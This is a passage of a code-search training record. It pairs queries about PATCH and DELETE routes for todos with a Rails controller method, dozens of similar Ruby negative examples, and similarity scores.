"0.6683867",
"0.66830945",
"0.6681901",
"0.66515726",
"0.6631661",
"0.6618022",
"0.6613758",
"0.66130304",
"0.6612417",
"0.65958047",
"0.6579281",
"0.6573471",
"0.6569224",
"0.656775",
"0.6542189",
"0.6540251",
"0.65335435",
"0.6520416",
"0.650593",
"0.650593",
"0.650593",
"0.650593",
"0.650593",
"0.64839107",
"0.6455359",
"0.64432037",
"0.6432788",
"0.6402341",
"0.63862133",
"0.63722897",
"0.6371214",
"0.6369358",
"0.63562596",
"0.63460386",
"0.63252485",
"0.63067305",
"0.63041234",
"0.63019055",
"0.62849206",
"0.6272245",
"0.6270223",
"0.6260661",
"0.62597114",
"0.62443185",
"0.62401456",
"0.6237645",
"0.6235813",
"0.6225511",
"0.622235",
"0.6216663",
"0.62150496",
"0.6212755",
"0.61884654",
"0.61827147",
"0.6180991",
"0.6178763",
"0.61706257",
"0.61667436",
"0.61584663",
"0.6134463",
"0.6129355",
"0.6123844",
"0.6102185",
"0.6093866"
] |
0.68377125
|
29
|
PATCH/PUT /todos/1 PATCH/PUT /todos/1.json
|
def update
todo_params[:user_id] = current_user.id
todo_params[:updated_at] = Time.now
if is_valid_todo(todo_params)
respond_to do |format|
if @todo.update(todo_params)
#format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }
format.json { render json: @todo, status: :ok }
else
#format.html { render :edit }
format.json { render json: @todo.errors, status: :unprocessable_entity }
end
end
else
format.json {render json: "validation_error", status: :error}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n if @todo.update(todo_params)\n render json: @todo\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end",
"def update\n if @todo.update(todo_params)\n head :no_content\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n format.html { redirect_to @todo, :notice=>\"Todo was successfully updated.\"}\n format.json { head :ok }\n else\n format.html { render :action=>\"edit\" }\n format.json { render :json=>@todo.errors, :status=>\"unprocessable_entry\" }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:todo][:id])\n if @todo.update_attributes(user_params)\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end",
"def update\n @todo.update(todo_params)\n respond_with(@user, @todo)\n end",
"def update\n @todo = Todo.find(params[:id])\n\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_todo(todo)\n put_params = {\n :body => todo.put_json,\n :headers => Logan::Client.headers.merge({'Content-Type' => 'application/json'})\n }\n \n response = Logan::Client.put \"/projects/#{@project_id}/todos/#{todo.id}.json\", put_params\n Logan::Todo.new response\n end",
"def update\n respond_to do |format|\n if @todo.update(todo_params)\n format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo.update(todo_params)\n head :no_content\n end",
"def update\n @todo = @list.todos.find(params[:id])\n\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n format.html { redirect_to list_todo_path(@list, @todo), notice: 'Todo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo.update(todo_params)\n format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok}\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n todo = get_todo(user: current_user)\n\n respond_to do |format|\n if todo.update(todo_params)\n format.html { redirect_back fallback_location: root_path }\n format.json { render :show, status: :ok, location: todo }\n else\n format.html { render :edit }\n format.json { render json: todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo.update(todo_params)\n format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo.update(todo_params)\n format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n\n respond_to do |format|\n if @todo.update_attributes(todo_params)\n # format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n # format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo.update(todo_params)\n format.html { redirect_to @todo.list, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n format.html { redirect_to @todo.list }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @todo.update(todo_params.merge!(updated_by_id: current_user.id))\n render json: @todo\n else\n render json: {errors: @todo.errors.full_messages}, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @todo.update(todo_params)\n format.html { redirect_to list_path(@todo.list), notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todos = Todos.find(params[:id])\n\n respond_to do |format|\n if @todos.update_attributes(params[:todos])\n flash[:notice] = 'Todos was successfully updated.'\n format.html { redirect_to(@todos) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @todos.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if TodoService.update_todo(@todo, todo_params)\n format.html { redirect_to project_todos_path(@project), notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n respond_to do |format|\n if @todo.update(todo_param)\n format.html { redirect_to todos_path, notice: 'Tehtävä päivitetty.' }\n format.json { render :index, status: :ok, location: @todo }\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_todo\n @api_v1_todo = Todo.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @todo.update(todo_params)\n to = current_user.is_manager? ? @todo : root_url\n format.html { redirect_to to, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @to_do = ToDo.find(params[:id])\n\n if @to_do.update(params[:to_do])\n head :no_content\n else\n render json: @to_do.errors, status: :unprocessable_entity\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n \n if params[:todo][:done]\n \n if params[:todo][:done].to_s == \"true\" \n res = \"done\"\n params[:todo][:done_at] = Time.now\n else \n res = \"undone\"\n params[:todo][:done_at] = nil\n end\n tl(\"Todo\",@todo.id,'This todo has been marked ' + res,\n (@todo.topic.name rescue nil),'todo',@todo.assigned_by)\n else\n tl(\"Todo\",@todo.id,'This todo has been updated',\n (@todo.topic.name rescue nil),'todo',@todo.assigned_to)\n end\n \n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = current_user.todos.find(params[:id])\n\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n format.html { redirect_to(@todo, :notice => 'Todo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @todo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n response = client.access_token.put(\"#{client.base_uri}/projects/#{project_id}/todos/#{id}.json\") do |request|\n request.headers['Content-Type'] = 'application/json'\n request.body = put_json\n end\n true\n rescue OAuth2::Error => ex\n Basecamp::Error.new(ex.message).raise_exception\n end",
"def update\n @to_do = ToDo.find(params[:id])\n\n if @to_do.update(to_do_params)\n head :no_content\n else\n render json: @to_do.errors, status: :unprocessable_entity\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @todo_task = TodoTask.find(params[:id])\n\n respond_to do |format|\n if @todo_task.update_attributes(params[:todo_task])\n format.html { redirect_to @todo_task, notice: 'Todo task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @metodo = Metodo.find(params[:id])\n\n respond_to do |format|\n if @metodo.update_attributes(params[:metodo])\n format.html { redirect_to metodos_url }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @metodo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n\n\tif @todo.user.id != current_user.id\n\t\trender :json => { :error => \"You don't have access to this item.\" }\n\tend\n\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @comp_todo.update(comp_todo_params)\n format.html { redirect_to @comp_todo, notice: 'Task was updated' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @comp_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo_list = TodoList.find(params[:id])\n\n respond_to do |format|\n if @todo_list.update_attributes(params[:todo_list])\n format.html { redirect_to @todo_list, :notice=>\"Todo list was successfully updated.\"}\n format.json { head :ok }\n else\n format.html { render :action=>\"edit\" }\n format.json { render :json=>@todo_list.errors, :status=>\"unprocessable_entry\" }\n end\n end\n end",
"def update\n authorize! :update, Todo\n respond_to do |format|\n if @todo.update(todo_params)\n format.html { redirect_to project_todo_url(@project, @todo), notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n @employee_projects = @project.employee_projects\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo3.update(todo3_params)\n format.html { redirect_to @todo3, notice: 'Todo3 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @todo3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo_app.update(todo_app_params)\n format.html { redirect_to @todo_app, notice: 'Todo app was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo_app }\n else\n format.html { render :edit }\n format.json { render json: @todo_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n\t @todo_params = todo_params\n if @todo.update(@todo_params)\n\t if @todo_params.has_key?(:done)\n\t\t\t\t\tif @todo_params[:done] === 1\n\t @todo.move_to_bottom\n\t\t\t\t\telsif @todo_params[:done] === 0\n\t\t\t\t\t\[email protected]_to_top\n\t\t\t\t\tend\n\t\t\t\tend\n format.html { redirect_to list_todos_path, notice: 'Todo was successfully updated.' }\n format.json { render action: 'show', status: :accepted, location: [@list, @todo] }\n\t\t\t\tformat.js #{ render template: \"todos/update.js.coffee\" }\n else\n format.html { render action: 'edit' }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo_list = TodoList.find(params[:id])\n\n respond_to do |format|\n if @todo_list.update_attributes(params[:todo_list])\n format.html { redirect_to @todo_list, notice: 'Todo list was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n params[:todo] ||= params[\"todo_\" + params[:id].to_s]\n\n if @todo.update(update_params)\n @status = \"success\"\n @message = \"To-do updated successfully.\"\n unless request.xhr?\n flash[:notice] = @message\n redirect_to action: :index\n end\n else\n @status = \"alert\"\n @message = \"To-do could not be updated.\"\n unless request.xhr?\n flash[:alert] = @message\n redirect_to :back\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n @project_todo = @project.project_todos.find(params[:id])\n respond_to do |format|\n if @project_todo.update_attributes(params[:project_todo])\n format.html { redirect_to [@project, @project_todo], notice: 'Project todo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todoa.update(todoa_params)\n format.html { redirect_to todoas_url }\n format.json { render :show, status: :ok, location: @todoa }\n else\n format.html { render :edit }\n format.json { render json: @todoa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo.update(todo_params)\n format.html { redirect_to todos_path, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n format.js do\n render \"updated\"\n end\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @list = List.find(params[:id])\n @list.user = current_user\n @user = @list.user\n\n respond_to do |format|\n if @list.update_attributes(params[:todo])\n format.html { redirect_to root_path, notice: 'List was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = TodoItem.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:todo_item])\n format.html { redirect_to @item, notice: 'TodoItem was successfully updated.' }\n format.json {render json: {\n success: true,\n data: [],\n message: \"TodoItem was successfully updated.\"\n }}\n else\n format.html { render action: \"edit\" }\n format.json { render json: {\n success: false,\n data: [],\n message: @item.errors\n }}\n end\n end\n end",
"def update\n respond_to do |format|\n if @listtodo.update(listtodo_params)\n format.html { redirect_to @listtodo, notice: 'Listtodo was successfully updated.' }\n format.json { render :show, status: :ok, location: @listtodo }\n else\n format.html { render :edit }\n format.json { render json: @listtodo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def put!\n request! :put\n end",
"def update\n respond_to do |format|\n if @todolists.update(todolist_params)\n format.html { redirect_to @todolists, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @todolists }\n else\n format.html { render :edit }\n format.json { render json: @todolists.errors, status: :unprocessable_entity }\n end\n end\nend",
"def update\n notice = 'Todo was successfully updated.'\n if @todo.update(todo_params)\n render @todo\n else\n render :edit, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @todoit_list.update(todoit_list_params)\n format.html { redirect_to @todoit_list, notice: 'Todoit list was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @todoit_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Todo.find(params[:id])\n @item.update(:done => [email protected], :done_at => (@item.done ? nil : DateTime.now)) \n render :json => @item.to_json\n end",
"def update\n if @todo.update(todo_params)\n redirect_to action: 'index'\n else\n render :edit\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n respond_to do |format|\n if @trip_todo.update(trip_todo_params)\n format.html { redirect_to @trip_todo, notice: 'Trip todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip_todo }\n else\n format.html { render :edit }\n format.json { render json: @trip_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todolist.update(todolist_params)\n format.html { redirect_to @todolist, notice: 'Todolist was successfully updated.' }\n format.json { render :show, status: :ok, location: @todolist }\n else\n format.html { render :edit }\n format.json { render json: @todolist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n @list_to_do = ListToDo.find(params[:id])\n\n respond_to do |format|\n if @list_to_do.update_attributes(params[:list_to_do])\n format.html { redirect_to new_list_to_do_path, notice: 'List to do was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @list_to_do.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = @list.todos.find(params[:id])\n\n if @todo.update_attributes(params[:todo])\n flash[:notice] = 'To do was successfully updated.'\n redirect_to list_path(@list)\n else\n flash[:alert] = \"To do was not updated.\"\n render :action => \"edit\"\n end\n end",
"def update\n respond_to do |format|\n if @todo_item.update(todo_item_params)\n format.html { redirect_to @todo_item, notice: 'Todo item was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo_item }\n else\n format.html { render :edit }\n format.json { render json: @todo_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo_list.update(todo_list_params)\n format.html { redirect_to work_todo_list_path, notice: 'Todo list was successfully updated.' }\n format.json { render :show, status: :ok, location: work_todo_list_path }\n else\n format.html { render :edit }\n format.json { render json: @todo_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @thing_to_do.update(thing_to_do_params)\n format.html { redirect_to @thing_to_do, notice: 'Thing to do was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @thing_to_do.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n respond_to do |format|\n if @todoslist.update(todoslist_params)\n format.html { redirect_to @todoslist, notice: \"Todoslist was successfully updated.\" }\n format.json { render :show, status: :ok, location: @todoslist }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @todoslist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo_list.update(todo_list_params)\n format.html { redirect_to root_path, notice: 'Todo list was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo_list }\n else\n format.html { render :edit }\n format.json { render json: @todo_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n redirect_to :action => 'new' if @todo.update(todo_params)\n end",
"def update\n \n respond_to do |format|\n if @todo_item.update(todo_item_params)\n format.html { redirect_to todo_list_todo_items_path(@todo_list), notice: 'Todo item was successfully updated.' }\n # format.json { render :show, status: :ok, location: @todo_item }\n else\n format.html { render :edit }\n # format.json { render json: @todo_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, **args); end",
"def update\n if @todo.update(todo_params)\n flash[:notice] = \"Todo was successfully updated\"\n redirect_to todo_path(@todo)\n else\n render 'edit'\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n parameters=params[:todo]\n @proj=Proj.find(parameters[:proj_id])\n @user = User.find(session[:user])\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n flash[:notice] = 'Todo was successfully updated.'\n format.html { redirect_to(proj_todolists_path(@proj)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @todo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit_user_task\n task = Task.find(params[:id])\n \n if task.update(task_params)\n render json: {task: task, status: 201} \n else\n render json: {errors: task.errors.full_message , status: 422}\n end\n end",
"def edit_user_task\n task = Task.find(params[:id])\n \n if task.update(task_params)\n render json: {task: task, status: 201} \n else\n render json: {errors: task.errors.full_message , status: 422}\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n ## Fetching the todo\n @todo = Todo.find(params[:id])\n \n ## Updating the @todo object with params\n @todo.update_attributes(params[:todo])\n \n ## Validating the data\n @todo.valid?\n \n respond_to do |format|\n if @todo.errors.blank?\n \n # Saving the todo object\n @todo.save\n \n # Setting the flash message\n message = translate(\"forms.updated_successfully\", :item => \"Todo\")\n store_flash_message(message, :success)\n \n format.html { \n redirect_to todo_url(@todo), notice: message \n }\n format.json { head :no_content }\n format.js {}\n \n else\n \n # Setting the flash message\n message = @todo.errors.full_messages.to_sentence\n store_flash_message(message, :alert)\n \n format.html { \n render action: \"edit\" \n }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n format.js {}\n \n end\n end\n end",
"def update\n respond_to do |format|\n if todo_params[:assign_user_id].present? and not todo_params[:assign_user_id].empty?\n @todo.assign_by_user = current_user\n end\n\n old_title = @todo.title\n old_user = @todo.assign_user\n old_deadline = @todo.deadline\n if todo_params[:assign_user_id].present? and todo_params[:assign_user_id].empty?\n @todo.assign_user_id = nil\n @todo.assign_user = nil\n end\n if @todo.update(todo_params)\n # 修改任务\n TodoEvent.create_todo_update(current_user, old_title, @todo) if @todo.title != old_title\n # 指派任务\n TodoEvent.create_todo_assign_to_user(current_user, @todo.assign_user, @todo) if !old_user.present? and @todo.assign_user.present?\n # 修改任务完成者\n TodoEvent.create_todo_update_assigned_user(current_user, old_user, @todo.assign_user, @todo) if old_user.present? and old_user != @todo.assign_user\n # 修改任务完成时间\n TodoEvent.create_todo_update_deadline(current_user, old_deadline, @todo) if old_deadline != @todo.deadline\n\n format.html { redirect_to @todo.project, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @task_note = Note.find(params[:id])\n\n respond_to do |format|\n if @task_note.update_attributes(params[:note])\n format.html { redirect_to notes_path, notice: 'Task note was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:id])\n @firm = @todo.project.firm\n @project = @todo.project\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n flash[:notice] = flash_helper('Todo was successfully updated.')\n format.html { redirect_to(@todo) }\n format.xml { head :ok }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @todo.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n respond_to do |format|\n pre_value = @todo.dup\n if @todo.update(todo_params)\n if @todo.deadline != pre_value.deadline\n event = @todo.target_events.build(content: 'update deadline for todo', target_field: 'content', resultable_type: 'Todo', resultable_id: @todo.id, result_field: 'deadline')\n event.user = current_user\n event.save\n end\n\n if @todo.executor_id != pre_value.executor_id\n event = @todo.target_events.build(content: 'reset executor for todo', target_field: 'content', resultable_type: 'User', resultable_id: params[:executor_id], result_field: 'name')\n event.user = current_user\n event.save\n end\n\n format.html { redirect_back fallback_location: @todo, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n note = Note.find(params[\"id\"])\n note.update_attributes(note_params)\n respond_with note, json: note\n end",
"def update\n respond_to do |format|\n if @to_do.update(to_do_params)\n format.html { redirect_to @to_do, notice: 'To do was successfully updated.' }\n format.json { render :show, status: :ok, location: @to_do }\n else\n format.html { render :edit }\n format.json { render json: @to_do.errors, status: :unprocessable_entity }\n end\n end\n end",
"def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end",
"def update\n respond_to do |format|\n if @todo_manager.update(todo_manager_params)\n format.html { redirect_to @todo_manager, notice: 'Todo manager was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo_manager }\n else\n format.html { render :edit }\n format.json { render json: @todo_manager.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n task = Task.find(params[:id])\n if task.update(task_params)\n render json: task\n else\n render_errors(task)\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def patch\n end",
"def update\n respond_to do |format|\n if @thing_to_do.update(thing_to_do_params)\n format.html { redirect_to @thing_to_do, notice: 'Thing to do was successfully updated.' }\n format.json { render :show, status: :ok, location: @thing_to_do }\n else\n format.html { render :edit }\n format.json { render json: @thing_to_do.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def update\n @task = Task.find(params[:id])\n params[:task] ? @task.update_attributes(params[:task]) : @task.update_attributes(:description=>params[:description], :isDone=>params[:isDone], :order=>params[:order] )\n #@task.save\n respond_with(@task)\nend",
"def update\n @todo_list = TodoList.find(params[:id])\n\n respond_to do |format|\n if @todo_list.update_attributes(params[:todo_list])\n flash[:notice] = 'TodoList was successfully updated.'\n format.html { redirect_to(@todo_list) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @todo_list.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.73876435",
"0.73800725",
"0.72687894",
"0.7246782",
"0.70655125",
"0.70095533",
"0.695816",
"0.69538754",
"0.69361985",
"0.69361985",
"0.68700045",
"0.6847399",
"0.68226784",
"0.6788569",
"0.67627513",
"0.6751422",
"0.6751128",
"0.6751128",
"0.6726497",
"0.6714954",
"0.67088324",
"0.66567206",
"0.66161746",
"0.6609618",
"0.6596928",
"0.65755033",
"0.65711766",
"0.65331316",
"0.65264404",
"0.65164846",
"0.65047264",
"0.65036005",
"0.64633596",
"0.645881",
"0.6458164",
"0.6443327",
"0.6390419",
"0.6362527",
"0.63288873",
"0.6317184",
"0.63102597",
"0.62580675",
"0.6255409",
"0.6237753",
"0.621819",
"0.61987597",
"0.6183069",
"0.61728364",
"0.61448526",
"0.6139641",
"0.61323124",
"0.61248654",
"0.6119902",
"0.6119902",
"0.6116807",
"0.6105817",
"0.6099424",
"0.6098622",
"0.60842913",
"0.6078818",
"0.6054557",
"0.6048732",
"0.60431105",
"0.6015057",
"0.6013098",
"0.5999343",
"0.5987967",
"0.598673",
"0.596045",
"0.5948491",
"0.5948491",
"0.5945002",
"0.5942901",
"0.5923958",
"0.59205145",
"0.5912226",
"0.59054565",
"0.5890209",
"0.58851546",
"0.58851546",
"0.58846426",
"0.58846426",
"0.5881188",
"0.58632255",
"0.5853784",
"0.58407897",
"0.58307844",
"0.5823275",
"0.58134395",
"0.5810283",
"0.5806646",
"0.5804256",
"0.5797469",
"0.57968265",
"0.57966214",
"0.5789518",
"0.57869804",
"0.57855153",
"0.5780223",
"0.57650894"
] |
0.65661407
|
27
|
DELETE /todos/1 DELETE /todos/1.json
|
def destroy
@todo.destroy
respond_to do |format|
#format.html { redirect_to todos_url, notice: 'Todo was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n render json: nil, status: :ok\n end",
"def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to todos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to todos_url }\n format.json { head :no_content }\n end\n end",
"def destroy \n\n \n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to request.env['HTTP_REFERER'] }\n format.json { head :ok }\n end\n end",
"def destroy\n @todo = Todo.find(params[:id]).destroy\n if @todo.destroy\n render json: @todo\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end",
